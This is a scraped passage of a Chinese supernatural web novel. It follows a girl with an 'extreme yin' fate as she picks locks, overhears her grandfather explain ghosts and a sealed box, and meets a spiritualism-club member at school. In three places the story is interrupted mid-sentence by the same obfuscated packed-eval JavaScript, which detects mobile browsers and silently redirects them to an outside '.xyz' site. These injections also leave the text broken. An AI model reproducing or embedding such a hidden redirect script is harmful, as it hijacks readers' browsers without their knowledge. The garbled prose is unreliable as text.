就这样,安然学会了开锁的手艺。 而她学会的第一件事就是偷开她哥房间的锁,溜到了她哥的床上... 提起这事还是要从两人小时候说起。 老头子很忙。 常常一出门就是十天半个月。 在安然还是婴儿的时候,她哥就陪着她、照顾她。比起老头子,她哥陪伴她的时间要长的多。甚至可以说安然差不多是她哥带大的。在她还不知道这世上有爸爸妈妈的时候,就已经知道了哥哥,开口的第一个字也是‘哥’。 但自从她开始上小学,她哥说什么也不肯和她一屋,安然哭也哭过闹也闹过,甚至在三更半夜想要溜她哥房里。但她哥就跟是换了个人似的,不论她怎么闹都不松口,最后甚至把门还给锁上了。 安然虽然后来勉强适应,但多少还是有点不乐意。直到看见老头子那手本事后才又开始蠢蠢欲动。 最后自然是被她哥拎了出来,对着老头子发了好大一番火,还三令五申不许她随便开锁,否则他就去住校。 那也是安然第一次看见她哥生气。 ****** 安然看着手里的两根铁丝陷入了沉思,视线先是在自己房间的门上逡巡了两秒,随后唇角一勾,噔噔噔跑到楼下,把老头子的房门一锁,掏出铁丝开始鼓捣。 随着铁丝在门锁上落下咔哒咔哒的声响,安然额头上渐渐浮起了细密的汗珠。 “咔-哒-” 安然眸光一亮。 成了! 轻轻一推,果然开了。 她扭了扭酸痛的脖子,长吁一口气,这才重新走到房间。一进门整个人没骨头似的径直栽到床上。柔软的被褥让她疲惫的情绪得到了不少缓解。 也算了了件事。 看了眼手机:【10:05】 犹豫了片刻还是伸手拉开抽屉,取出了安神香。 从挂掉她哥电话起,她就在刻意回避哥哥知道人脸存在的原因。她不敢深想,那些隐藏的‘真相’就像是深渊中探出的触手让她感到恐惧。 渐渐地,令人安心的檀香味弥漫开来。 安然关上灯,闭上了眼睛... ******* “咔哒——-” 紧闭的房门传出一声轻响。 “吱嘎——-” 门被推开了。 黑暗争先涌后的挤了进来。 “吱嘎——-” 地板如同不堪重负的老骡子发出濒死前低哑的哀嚎。 床上的沉睡的人翻了个身,嘟囔了句什么,似在埋怨这声音打扰了自己的休息。 门口的黑暗身形似乎扭曲了一下,再进来时,四只纯黑的小爪子落在地板上,发出极轻的‘嗒’,与此同时黑暗里亮起了一金一绿的竖瞳。 柔软的肉垫一下一下的落在木板上,发出及其轻微的‘嗒嗒嗒...’然后轻轻一跃,就跳到了柔软的床上。 安然迷迷糊糊睁开眼。 目光所及是污墨一般的黑,堆叠的窗帘垂挂下来,混杂的黑色折成了不同形状。 她做了个梦。 梦里有只猫开了门,还跳到了她的床上。 再怎么精妙绝伦拥有着错综复杂树状结构的大脑,也不可能结出一颗违背个人自愿和社 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原本虚搭在腰间的被子滑了下来,安然脚尖轻点地面,触感有些粗糙,像是踩在了粗粝的木桩上。异样的触感顺着她的脚尖爬上了脊背,鸡皮疙瘩猝然起了一身。 她触电般缩回来脚。 “喵呜——-” 黑猫歪头看着安然,似是不明白自己都这么卖力的催促了,眼前的人类为什么还不跟自己走。 安然咽了口唾沫,透过窗帘缝隙的月光洒在老旧的地板上。木板颜色深深浅浅,大多数都已经褪色,拼接的地方不算光滑,有些微的鼓胀变形,边缘有还隐隐翘了点木刺。 和记忆里熟悉的样子一般无二。 错...觉? “喵呜——-” 黑猫似乎是等的有些不耐烦了,回头看了眼安然,便踏进了黑暗。 安然这下也顾不上脚下的地板是或否有异常,光脚踩在了微凉的地板上,追了上去。 “吱嘎——-” “吱嘎——-” 不知道是不是因为身处黑暗,所以原本熟悉的环境才会变得如此陌生。脚下的楼梯从未像此刻这般尖锐刺耳,如同游荡的夜枭竭力嘶喊,似在试图阻止她继续前进。 黑猫小小的身影在黑暗中时隐时现,每当安然即将失去它的踪迹,便会喵呜喵呜地为她指路。 说来奇怪,按说这样违反常理的一幕出现在眼前,她是无论如何都不会跟上来,但安然心中有种强烈的预感,如果放弃,她一定会错过什么重要的东西。 黑暗中的楼梯格外的长,像是永远都看不到尽头的莫比乌斯环。 不知过了多久,走在前面黑猫终于停了下来,它回头对着安然“喵呜-”了一声,那双异色的瞳仁在浓稠的夜色中熠熠生辉。 黑猫面前立着一扇木门。 时隐时现的金色花纹流动于表面,从她的角度看过去竟有种夺人心魄的美。 就是...这里了么? 她竟从来都不知道家里还有这么个地方... 这点愣神的功夫,安然发现自己不知道什么时候已经站在了门前,之前还喵呜喵呜的黑猫早就不见了踪影。 流动的金色印刻在她漆黑的瞳孔之上,像是有种魔力吸引着安然将眼前的木门推开。 莹润的指尖在黑暗中显得异常苍白,她甚至听到了门内有人声音轻声呼唤着她的名字,温柔缱绻,似是等了她不止千年光阴。 只是她的手指还没来得及碰触,一股排斥的巨力便狠狠砸向了安然... 23. 第23章 “叮铃——” 谁...在摇铃铛? “叮铃——” 铃声悠扬,声音不似传统的铃铛那么刺耳,倒有点风铃的清脆。 “叮铃——” 那声音似乎就在耳边,安然想要睁开眼,但她什么都做不了。 三声铃响后,她感觉有什么湿湿黏黏的东西点在了她的眉心,紧接着是心口,再是掌心最后是脚心。 有些凉,又有些痒。 “爷爷,咱们真的要离开么?” 哥...? “嗯...” 是爷爷... 他的声音疲惫:“这地方气数怕是要尽了...保不了安然多久...” “您是说...这儿的山神...要散了?怎么会...您不是说加上那个盒子至少能保安然到成年么?!可现在她才5岁!”她哥的声音听上去十分激动,带着难以置信的愤怒:“而且这里已经是您能找到的最适合的地方了!离了这儿…” “总归会有法子的…”老头子出声打断。 印象里一向中气十足的老头子,这时的声音竟透着些许有气无力。 “那您说说还能有什么法子?!当初那种情况您都没有封住她的五感…难不成您打算这么一直让她就这么睡下去?!” “安然十岁前,逢三便有一劫,此时不封住她的五感,你当她真能活过明年?!” 安然从未听过老头子这般严厉的对她哥说话。 沉默。 两人谁都没有再说话。 耳边除了压抑的呼吸什么都听不到。 好像目前只有安然一个人搞不太清状况。这是什么时候发生的事... 5岁? 她对这个年龄的自己没什么印象,但看眼下的状况似乎不是太好。 逢三一劫又是什么? 如果自己5岁...那她哥这时也才11吧? 真要像老头子说的自己小时候三天两头就往医院跑,她哥还都跟在身旁照顾,这也就说得通,为什么打小他就老成的不像个孩子了。 想到这,安然心中不禁有些酸涩,如果不是她,他哥也不会拖到十三四才去上学,虽然凭借着出众的智商高一路跳级,但归根究底是她拖了后腿。 就在她以为两人的对话到此就已经结束时,却听爷爷叹息了一声,率先开口:“安宁,还记得我跟你讲过的‘灵’是怎么形成的么?” “爷爷!”哥哥不满,似乎是不明白都这个时候了爷爷竟然还要问他这个。 “想要知道原因,就回答我...” 随后安然便听到了椅子拖动发出的吱嘎声。 她哥沉默了很久,大概是明白老头子在他回答前不会再多说一句,这才终于认命般地吐出五个字:“万物皆有灵。” “而此‘灵’并非单只灵魂,而是某种意志,是事物本身蕴含的一种能量。但这种能量极其弱小,而且大多数会随着时间的推移、空间的转换而逐渐削弱直至消散。” “但我们修道之人口中的灵...它们也许是植物、是动物、是活物或死物,甚至是山、是水、是土地...它们自身蕴含的能量没有因为时间的推移而消耗殆尽,反而越聚越多...直到积累到一定程度形成质变,转换成了一种全新的能量。这种能量让它们拥有一定的自我认知,产生了类似于人类的意识...这就是‘灵’的诞生。” “不错。”老头子似乎很满意哥哥的回答:“还记得当初为什么带你们来这里么?” “您说过即便是同样的‘物’,它们本身蕴含的能量还有吸收能量的极限也会有所不同。而不同物种之间差异就会更大。一般情况,动物比植物容易生出灵,植物又比山水容易...只是一旦成灵,山水的吸收能量极限一定是最大的,存在的时间也是最长...” “所以...为什么山神会消散啊?爷爷!您说过的,这里的山神寿数还有很久...您说只要然然得到认可,祂就能挡住那些东西的!”哥哥再次激动了起来,声音哽咽,像是哭了。 安然心里一酸,自懂事以来,她就没见过她哥哭。 “山水成灵,的确能保一方水土平安不受外邪侵扰。但你却忘了,永远无法离开自身所处的区域就是祂们最大的限制!你可知什么是鞭长莫及?” “可我们从未...”哥哥的声音戛然而止,“难道...是然然跑出去的那天?竟然都是...我的错?!如果不是我那时打了她...她就不会跑出去...更不会...” “和你无关。”老头子打断哥哥的自责:“没有你打她的那一下,她也终会离开村子...根源不在你...是它想要安然离开...” “它?”不止她哥,安然听到这么个没头没尾的字也感到十分的茫然。 “阿然终归不能永远待在这深山之中,我本想借它的势震慑那些觊觎阿然的东西,却不想终日打雁,竟让雁啄了眼...” “您是说...那个木盒?”她哥恍然:“那里面究竟有什么?” “那是我们安家世代守护的秘密...”老头子声音越发疲惫:“盒子里封印着世间的…” “第一只鬼。” 不止她哥,就连安然也怀疑自己刚刚是不是听错了。 “鬼?!那您还让安然把它放身边?!等等,您刚刚说想要用它来震慑其他鬼魂?那您的意思是…” 她哥接下来的话并没有说下去,老头子却是知道他的意思。声音颇有些无奈: “他要是真出来了,别说安然,就是你我祖孙二人,包括这方圆百十里的人都活不了…” 安然听到了她哥倒吸了一口凉气。 “你不是一直都想知道鬼魂的由来还有阿然身上的秘密么?”老头子的声音听上去像是老了十岁:“今天...我就一并告诉你...” “但在这之前,你首先要明天这个世界运行的原理…” “我们身生活的世界就是一个巨大的‘物’。里面蕴含着使世界正常运转的强大能量。四季转换,日月交替,阴晴雨雪,打雷闪电甚至我们呼吸所需要的空气...都需要能量来维持。” “这些能量都源于世界的最大的‘灵’——我们称之为自然或者说天道。而天道蕴含着世间最原始也是最纯粹的能量,叫做炁。” “而人也是除自然以外,唯一可以不用通过自然转换而直接能从其他“物”身上汲取能量的生物。因为我们天生就拥有一样东西——魂魄。每道魂魄都是最纯粹的灵,蕴含着最原始的炁。” “这就是为什么那些山野精怪即便修成灵,有了灵智,也要千辛万苦修成人形从而化妖的原因。因为只有人才有灵魂,有了完整的魂魄,才能拥有炁。” “而自古以来不管化灵也好,修妖也罢,都有两种途径:一是汲取自然蕴藏的能量转而修炼己身,二便是靠吞噬活人。” “可...”哥哥欲言又止。 “可这样的话,对于它们来说明显吞噬活人要来的容易的多...活人早该被那些妖物吞噬殆尽了,对么?”老头子将哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850075|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥为出口的疑问直接说了出来。 “知道物极必反么?”老头子循循善诱:“就像是一个水杯只能装固定容量的水。想要装更多的水,就只能重新回炉锻造...” “回炉重造这个过程就是化灵。化灵的前提是吸收能量达到它们本身所能承受的最高阈值。而这个过程并不是可丁可卯的,会有一部分能量因为无法被承载而扩散到其周围。这对它所处的环境势必会造成毁灭性的伤害。这个时候天道就为了能量的平衡,而出手干预。” “雷?”她哥的声音和安然脑海浮现的画面重叠在了一起。安然觉得她哥应该和她一样,想到了电视里看到的那些妖在成形之前要经历雷劫。 老头子似乎也猜到了哥哥的想法,语气无奈:“不止是雷。狂风,暴雨,闪电,地震,台风,海啸...这些能量会施加在灵的载体之上...一旦本体受损,它们不仅不会再吸收能量,自身的能量还会从那些伤口中慢慢释放出去,直至彻底回归天地。” “但如果...在天道在进行干预以后,非但没能使灵的本体受损,反而让灵在其中捕捉到了一丝生机,从而引起了质变,便是成功化灵。” “妖亦然。成妖的前提是化灵。灵蕴含的能量到达临界点,经历天道的干预,汲取到生机后,在灵的基础上又多一样东西——炁。” “只是这时的炁并不完整,只有在修炼出完整的三魂七魄,炁才会完整。妖每修一道魂或是魄就会经历一次天劫,越到后面经历的天劫就越是严苛...一旦妖拥有了完整魂魄,就等同于拥有了和天道相媲美的力量。” “而吞噬活人皆为恶灵。若其他灵,天道尚会为其留下一线生机,但恶灵通常都是十死无生。所以走捷径的灵或是妖会有,但并不会太多。” 哥哥陷入了沉默,安然也从老头子的话里听出了端倪:非人的生物都是先化灵,再化妖。如果恶灵当真十死无生,又怎么会有化妖的机会? “爷爷,如果炁真的拥有那么强大的能量,为什么我们感觉不到?而那些妖...它们千辛万苦才能得到人天生就有的东西,为什么到头来却比早就拥有炁的我们要厉害的多?” 哥哥问出了安然心中同样的问题。 “因为我们的炁是先天的。我们的身体既是魂魄的载体,也是禁锢并压制魂魄的容器。从我们出生的那一刻,身体在保护魂魄的同时,也束缚住了里面蕴藏的炁。你看,我们的身体是一个基本封闭的状态。头为炁之首。只有头部留下了七窍,魂魄里的炁能通过七窍进行运转...” “呃...”哥哥欲言又止,同样想到了什么的安然不由一脸黑线。 “哼!”哪怕只听声音,安然也能听出来老头子语气里的无语:“你屁股上那个是常年一直开着的么?!没用的时候不也是关着的么!” 安然恍然,也对哦! 老头子继续:“但这点力量也就只能维持我们身体的基本的运转。不足以再做其他用途。但那些精怪就不同了,它们的炁来之不易,又经过天道洗礼,本就不被自身束缚,自然能灵活运用。” “那这么说...人是不是也可以通过某种方式或者途径吸收天道的能量,从而激发身体里的炁?”她哥不知道想到了什么,语气有些急切:“如果安然能运用身体里的炁,是不是不用依靠外物就过正常的生活了?” 躺在床上的安然同样一喜。但很快那点喜悦便消散殆尽。 果然下一刻,老头子打破了她的幻想:“一部分人的确可以。但...安然不行。” 24. 第24章 “为...为什么?”这也是安然的疑问。 “因为安然....她是极阴命格。”老头子叹了口气。 “极阴...命格?” 老头子的声音在安然耳边时远时近,有种诡异的不真实感:“如果身体是灵魂的载体,那么命格相当于灵魂的磁场,命运就是命格与自然产生共鸣的一种外在的表现。命格与命运息息相关,相互影响且密不可分。命运会被很多东西影响,比如出身、成长的环境、父母、朋友、亲人、成长的经历、见识、性格等等,但命格不会。” “大多数的人命格都是阴阳相结合,有起有浮,有阴有阳,相互调和又相互制约,基本处于一个平衡的状态。但安然不同,她灵魂的磁场只有阴而没有阳。孤阴不生,独阳不长...炁没有循环的途径,自然只能困于灵魂之内。” “而鬼魂本就属阴,安然命格(灵魂磁场)散发出的阴气对那些极阴物种是有着致命吸引的...这是安然容易被那些东西招惹的原因之一...” “其二,极阴命格因为自身的气场的原因很容易让普通人忽视她的存在,哪怕相处再久也只会留下个浅薄的印象。而在稍微有一些道行的鬼怪眼里,就相当于是一个无主的躯体。试想一个饿的头晕眼花的人,闻到红烧排骨的味道会不会扑上来吃个干净?安然对他们来说就是那盘红烧排骨。” 沉默。 死寂般的沉默。 安然同样被听到的东西震惊的大脑一片空白。 这些是真的么? 怎么可能是真的?! 是幻觉吧? 光挨打还没办法还手,就是她的命运? 这也太悲催了点吧?! 所以…这些年来和自己同班的同学才少有主动找她攀谈的,老师也从来不会点自己的名… 那丁筝呢? 她为什么不受影响? 普通人… 老头子说的是普通人,难道丁筝不是?! 等等! 还有一点,照老头子这话,自己见鬼应该和家常便饭一样简单才对...可她从小到大就没见过鬼啊! 太小的记忆她可能是记不得了,就像他们曾在某个偏远山村生活过的事她就不记得了,但上学后的记忆她都是记得个大概的,而且她也不觉得自己会神经大条的忘记遇鬼的经过。 还是说老头子做了什么...? 难不成是因为…他们现在住的杏花街?! 可如果杏花街真的有特别之处,为什么现在自己又能看到鬼了? 安然脑海里闪过各种念头,直到回想起这段时间自己身体的异常,心脏猛的抽紧,不会是因为她来了大姨妈吧?! 她记得过去的女孩子来了葵水就会被视作成年了的... 而她在来大姨妈之前那一个多月的噩梦可能就是某种信号,所以她哥才会知道她的遭遇... 安然越琢磨越觉得这个可能性很高,只是还有一点是无论如何也说不通的,那就是如果哥哥他们提前已经推测到了...为什么没有提前告诉她? 还有就是照老头子的说法,姜慧那时应该是会想要取代自己才对,而不是… 她的念头戛然而止。 也许姜慧一开始是想要取代她的,然后发生了什么自己不知道的事,才会导致现在的局面。 所以会是...什么? 老头子他们会提到么? 而且她隐隐有种有什么重要的信息被自己忽略掉了… “那这个世上又为什么会又鬼?如果盒子里是第一只鬼...能不能通过它将这世上所有的鬼都消灭?”她哥沉默了很久,才又重新开口询问。 安然也被这个问题吸引了注意力,刚刚隐隐捕捉到的那一丝怪异,转眼便消散了个干净。 “呵...”老头子听后却苦笑了起来:“真要是那么简单就好了...鬼魂是没办法全部消灭的。至于为什么...这就和地府还还有轮回有着千丝万缕的关系了...” 安然心里一惊,竟然真的有地府。 “据说在很久很久以前,神族还存在的时候,世间是没有鬼这种东西的...天地万物,一旦死亡,所有的能量便会自动回归于天地间成为供应天地循环的能量。” “后来神族陨落,人间便出现了鬼魂、地府和轮回。” “人有三魂七魄,又分阳寿和阴寿。阳寿尽,则胎光(天魂)回馈于天道,爽灵(地魂)和幽精(人魂)则归于地地府。但人还有七魄,主七情喜、怒、哀、惧、爱、恶、欲。” “按说身死情消,人死了,这些情绪就都会自动消失,也就是七魄会随着身体的死亡而消散,但有一部分人或是死前可能是经历巨大的痛苦,或者悲伤或者愤怒或者恐惧,或是本身就个性偏执,对于某些人或事有着强烈的执念,就导致七魄当中的某一种或者某几种强行融进人魂,地魂被其牵制,便成了鬼” 她哥若有所思:“也就是说魂没有情绪的,所以它们会遵循本能去地府过阴寿。只有魄不消散,才能和魂融合变成鬼。” “不错。” “那...那个盒子又是怎么回事?为什么您说是盒子想要让安然离开?”安宁终于问出了安然心中最大的疑问。 “我不知道。” 这个答案完全出乎了两人的预料。 “您...您不知道?”哥哥甚至以为自己听错了,不可置信的又问了一遍。 “我们安家虽然世代守着那个盒子,但没有人知道里面的东西长什么样子...”老头子声音听上去不复刚刚的轻松:“除了你曾爷爷的爷爷的妻子,也就是我的太奶奶。” 安然被绕的有点晕,心想这是多少辈之前的事了。 但她哥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850076|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点显然和她不同:“她见过里面的东西?” “本来非家主是不能靠近那东西的。但...太奶奶于太爷爷来说有些不同吧...” 老头子说的含糊其辞,她哥似乎也不太在意老一辈的恩怨情仇。 “但太爷爷怎么也没有料到...她会向里面的东西许愿。” “许...愿?”她哥显然不太信这种说法,语气里充满了怀疑。 “鬼,也是分道行的。用你们年轻人的话,就是等级。每个等级的鬼能做的事也不尽相同,但总是能做到一些在我们看来有些匪夷所思的事。而像那种道行的鬼,能做到实现人的愿望...也不算天方夜谭。” 她哥似是在思考老头子的话并没有接茬,但这头的安然在老头子在提到许愿后心就提到了嗓子眼儿。 “但万事万物都要讲究个平衡。有索取就有回报。而回报往往是要比索取高出百倍千倍的...可贪欲往往会让人忽略代价。” “后来呢?” “没人知道她许了什么愿望,但安家人却开始相继死亡。没多久太爷爷便察觉到了妻子的异常,为了剩下的族人他杀了太奶奶,自此之后虽然人没再继续死去,但那个盒子却消失了。” “没多久太爷爷便也消失了...有人说他是内疚自己妻子对族人做的事觉得愧对祖先,也有人说他是去寻找那个丢失的盒子,猜测虽多但没人知道他究竟去了哪里,也没有人再见到过他。” “直到多年后家族收到了一封信。信上说盒子在一个叫“孝子村”的地方。尽管不确定信的真假,但抱着死马当活马医的心态,族中长辈还是根据对方绘制的简易地图寻了过去。但由于那个山村太过偏僻和闭塞,他们还是花了很长的时间才找到地方。” “没有人知道盒子为什么会跑到那么远的地方,也没人知道那个村子究竟发生了什么,因为去过那里的长辈都对那儿闭口不谈。只知道他们不知道从哪里又找到了个奇怪的木盒,将盒子给装了进去,又在外面刻了许多封印的阵法,这才终于消停了...” “我以为这么多年了,有安家历代家主的封印加固,那东西最多只能起到震慑鬼魂的作用,没想到...”老子的声音越来越低,安然却是听的鸡皮疙瘩都起来了。 如果老头子不知道孝子村发生的事...那给她讲那个故事的人...又是谁?! 渐渐的,安然就察觉到了有哪里不对劲。 老头子的声音明明就在耳边,但她的耳朵却像是被人覆盖上了一层薄薄的膜,能听到声音,但就是辨别不出声音的内容。 她集中精神,想要听清谈话的内容,却不想这个行为加剧了声音模糊的速度,连带着她的意识竟也跟着混沌了起来。 不... 她还不知道事情所有的真相... 再等... 等... 25. 第25章 “等等!” 安然猛地坐了起来。 能...动了?! 惊喜还没来得及在她眸中晕染开来,便硬生生的僵在眼底。 熟悉的装修,熟悉的摆设,柔软的床铺,滑落到腰间的被子以及半掩的窗帘和紧闭的房门... 竟然是...梦? 未免也太真实了点。 安然泄力般躺倒回尚留有余温的床铺,任由滑腻的被褥将自己整个都包裹起来。 幽深的宛若没有尽头的楼梯、走廊尽头那扇流光溢彩的门、老头子和哥哥的对话以及那只引她过去的黑猫...甚至每一道踏在木制楼梯上发出腐朽吱嘎声的脚步...安然都记得清清楚楚。 之前消失的手机此刻好好的躺着枕头边,屏幕随着她的拨弄亮了起来:【6:09】 屋外似乎浠沥沥下起了小雨,半掩的窗帘被阴沉的天空遮蔽着透不进半点光亮,只有偶尔被风吹落在窗沿的雨丝发出沙沙沙的声响。 随手披了件外套,脚尖碰触冰冷的地板时不由蜷缩了一下,安然垂眸,视线落在姜慧左边的眉毛上,不过一晚上的时间,眉尾的颜色竟然淡去了不少。 这么快... 黑如鸦羽睫毛半垂着,遮住了眼底所有的情绪。 很快,踢踏的脚步声响起,让沉寂的房间终于染了一丝人气。 楼梯口的光线有些昏暗,木制的楼道看上去像是全部连在一起,成了黑漆漆的一片。 20多级的台阶很快就走完了,短短的几步像是再次提醒她昨晚的一切不过是一场梦。 安然回头,那道被昏暗光线裹胁着楼道此刻像极了挣扎着寻找真相的自己,是明是暗皆身不由己。 但... “啪——” 明亮的灯光转眼便将黑暗驱了个干净。 但她偏偏不想坐以待毙。 如果没有生路,那么就由她自己闯出一条! ——————————————— 五颜六色的伞为雨幕中的校园平添了几分别样的色彩。 安然走进教室时,班上只稀稀拉拉坐了几个人。 她将书本摊在桌上,却没看进去几个字。 窗外的雨滴连成了一片,衬得整片天空都雾蒙蒙的。这样的天气在她看来实在很适合干‘坏事’,就像不管做了什么,都不会轻易暴露在青天白日之下。 所以怎样趁着这个雨天神不知鬼不觉的进入档案室,成了她眼下最迫切需要解决的事。 但直至整个班级几乎快要坐满,安然也只是暂定在了趁中午所有人都去吃饭和上晚自习这两个时间段,至于计划怎么实施,她则半点进展都没有。 就在她计算着午休能有多少时间够自己行动时,有人拍了她一下肩膀。 安然看向身侧,是陈温柔。 陈温柔看她的眼神有些奇怪,昨天那股亲昵的劲儿已经不见了,取而代之的是一种公事公办的态度,将一个安然之前给她的那个徽章放在了桌上,又从兜里拿出了一张纸条递到她面前:“喏,给你。” “这是什么?”安然不解。 陈温柔却什么都没说,只是动作有些粗鲁地直接将纸条塞进她怀里便站了起来,半点说明的意思都没有转身就走,走时还了绊到了身侧凳子,凳脚和地面摩擦发出尖锐的一声‘吱’,惹得几个正在背单词的人纷纷侧目。 安然皱眉,有些不明所以,想不通对方这一大早又是闹得哪一出。 将那张已经变得有些发皱的纸条打开,映入眼帘的先是一串数字,数字下还有一小段文字。但让她首先注意到的并不是内容本身,而是苍劲有力的字体。 呦,倒是写的一手好字。 好看的字总是不禁让人多生出两分好感。 仔细看纸上的内容倒是让安然不由得眉毛一挑:【183********安然同学,这是我的号码,接下来相关的事宜将由我亲自负责,请务必联系。】 没有署名。 但她知道这人在灵异社的职位应该不低。 桌上那枚写着‘兑’字的徽章静静和她对视,她看了一会,将那东西放进了口袋。 也许... 这个徽章对于灵异社,不止陈温柔叙述的那些。 安然拿出手机,打开聊天软件,在添加好友一栏输入了那串电话号码,点击搜索,便跳出了一个动漫人物的头像。 银色头发配上一只血红的眼睛,倒是有几分妖异的美感。 其实安然很少看动漫。 因为她看脸。 符合审美的动漫其实少之又少,当然除了为数不多经典剧情在线的以外。毕竟脸好看才有看下去的欲望,都已经是二次元了,就没必要再跟自己的眼睛过不去。 正想着一会儿要不要询问一下对方这部动漫的名字,那头就已经通过了她的好友申请。 猫鼠同眠:【你好】 安然无恙:【你好】 猫鼠同眠:【下午放学有时间么,咱们见一面?】 安然无恙:【在哪儿?】 猫鼠同眠:【看你。你觉得哪里合适,就选哪里。】 安然无恙:【学校有你们的聚点么?】 猫鼠游戏:【......】 猫鼠游戏:【怎么听着感觉我们像是搞传*销的...但确实有。】 安然无恙:【足够安静?】 猫鼠游戏:【......足够安静。】 安然无恙:【那就那里吧。】 猫鼠游戏:【呃...那我放学来找你?】 安然无恙:【在榕树花坛那里碰面吧。】 猫鼠游戏:【好】 猫鼠游戏:【不见不散】 安然无恙:【嗯】 猫鼠游戏:【好咧】 安然低垂着眼眸,视线落在聊天界面上。午休时间大概有1个小时40分钟,而资料室在高二那边的教学楼,她无法保证这段时间不会有人会经过。 与其在人来人往中等一个奇迹,不如寻个十拿九稳的法子。 之前之所以考虑午休便是因为放学到晚自习相距的时间太长。学校虽大,但漫无目的瞎逛被发现的概率还是不小。 但如果有现成的落脚点...那就另当别论了。 关掉手机,安然这才注意到秦以淮竟然没来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850077|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 本以为对方是迟到了,没想到直到早自习结束也没看见他的人影。 犹豫了片刻,她还是决定将早自习放到秦以淮抽屉的毛绒挂件拿了出来。 挂件落在掌心被握成小小的一团,很好rua。这会儿她还真有点相信秦以淮那个限量版的说辞了,最起码自己就没见过造型这样奇特的挂件。 这东西乍一看有点像一只纯黑的Q版狐狸,但头上却有角,仔细看又有点猫或豹子的影子。尤其那双眼睛,和一般毛绒玩具的廉价塑料眼球完全不同,触感微微的凉,泛微莹润的光泽,质地竟有些类似于玉石。 指尖在那对眼珠停留了片刻,心想值钱的大概就是这对眼睛了。 在放回书包和装进对方的抽屉间间安然最后选择了前者。 倒不是丢了赔不起,只是她还没矫情到再在书包里放一天都容忍不了的地步。 更何况,秦以淮虽然吵是吵了点,但自己在他身上并没有感觉到恶意。如果不是最近发生在她身边的事着实太多了点,她也不至于这么草木皆兵。 ‘铃——’ 一天的课程在铃声中迎来了结束。 但教室的气氛却算不上热烈。 就在下午,老班在教室里宣布了几件事。 首当其冲的就是一直没有搬上台面的‘一中学生溺亡案’。首先是警方那边已经证实了死者就是万副校长的女儿,万胜柔。其次经过这段时间的勘察,目前已经排除了他杀的可能性。 最后,老班还一再强调,希望同学们不要被这件事影响,有压力一定要及时和家长老师沟通,学校每周增加一节心理辅导课的同时呼吁大家相信警方的勘验结果,不要捕风捉影、以讹传讹,学校论坛更是禁止再发任何话题相关的帖子。 第二件是学校保安在巡逻时发现废弃实验楼有人进入的痕迹,地上找到了不少凌乱的脚印。虽然没能将人当场抓获,但学校已经展开对于监控视频的排查并且彻底封锁了实验楼的窗户。 第三件事是万副校长已经辞职。过几天教育局那边会有新的副校长调任到他们学校。 第四件事是由于投资方意外离世,学校男生宿舍楼的改造计划只能暂时搁置。 最后一件便是使得班上氛围彻底萎靡的‘罪魁祸首’:他们班原本定于五月初的研学计划被迫取消了。安然还记得当初老班定制出游计划的时候,班上讨论的有多激烈,那时的丁筝和她也是兴致勃勃的期待着高中的第一次研学。 但此一时彼一时。 安然倒是觉得无所谓,这几件事对她的影响都不大,她也压根不担心监控会拍到她的身影。因为她知道实验楼的监控压根儿什么都拍不到。 早在之前她就特意去看了一眼那儿附近的监控。结果发现探头的角度早就歪到了南天门,除了偶尔掠过镜头的鸟儿,估计半点人影都录不到。 其实这也不难理解。以那人小心翼翼的程度,打开门锁的时间应该距离她靠近实验楼的时间相距不会太远,而对方应该也不大愿意自己的身影暴露在监控探头之下。 她那时就隐隐有种感觉——那个一直隐匿在暗处伺机而动的人...很可能就在自己身边! 26. 第26章 雨已经停了。 安然走到榕树下时,那儿已经站了一个人。 落日的余晖穿破云层透过繁密的枝叶,落下细碎的微光,尽数撒在那人的头顶的发丝上,连带着背影都镀上了一层朦胧的光。 高个子,脊背挺拔,双腿修长,纯白衬衫被偶尔路过的风拂过稍显空荡。 许是听到了身后的脚步,那人回过了头。 这人竟长得如此... 干净。 白皙到略显苍白的皮肤,狭长的眸子里是黑到不见一丝杂色的瞳仁,高挺的鼻梁,淡到几乎不见血色的唇。整张脸唯一明亮的色彩竟是右眼尾下那一点艳红似血的朱砂小痣。 按说这样的五官组合在一起要么寡淡无味要么就该十分具有侵略性,但偏偏在这人身上... 格外干净。 干净到让人生不出半点防备的心思。 仿佛有种若是连这样的人都会做坏事,那么这世上的‘好人’一定是绝迹了的感觉。 “安然无恙?”那人眉眼含笑,声音宛若三月微风,不过分亲近的让人心生不快也不见半点疏离显得生分客套,纯粹干净的恰到好处。 其实按照以往安然对陌生人的态度一贯是简单‘嗯’一声的,但不知为什么,她似乎没办法以同样疏离的方式对待眼前这个家伙,就像...大脑或是感官不允许她这样做。以至于安然的脸上浮现出了一个十分怪异的表情,像是在对他回以微笑又像是在强行压抑着什么。 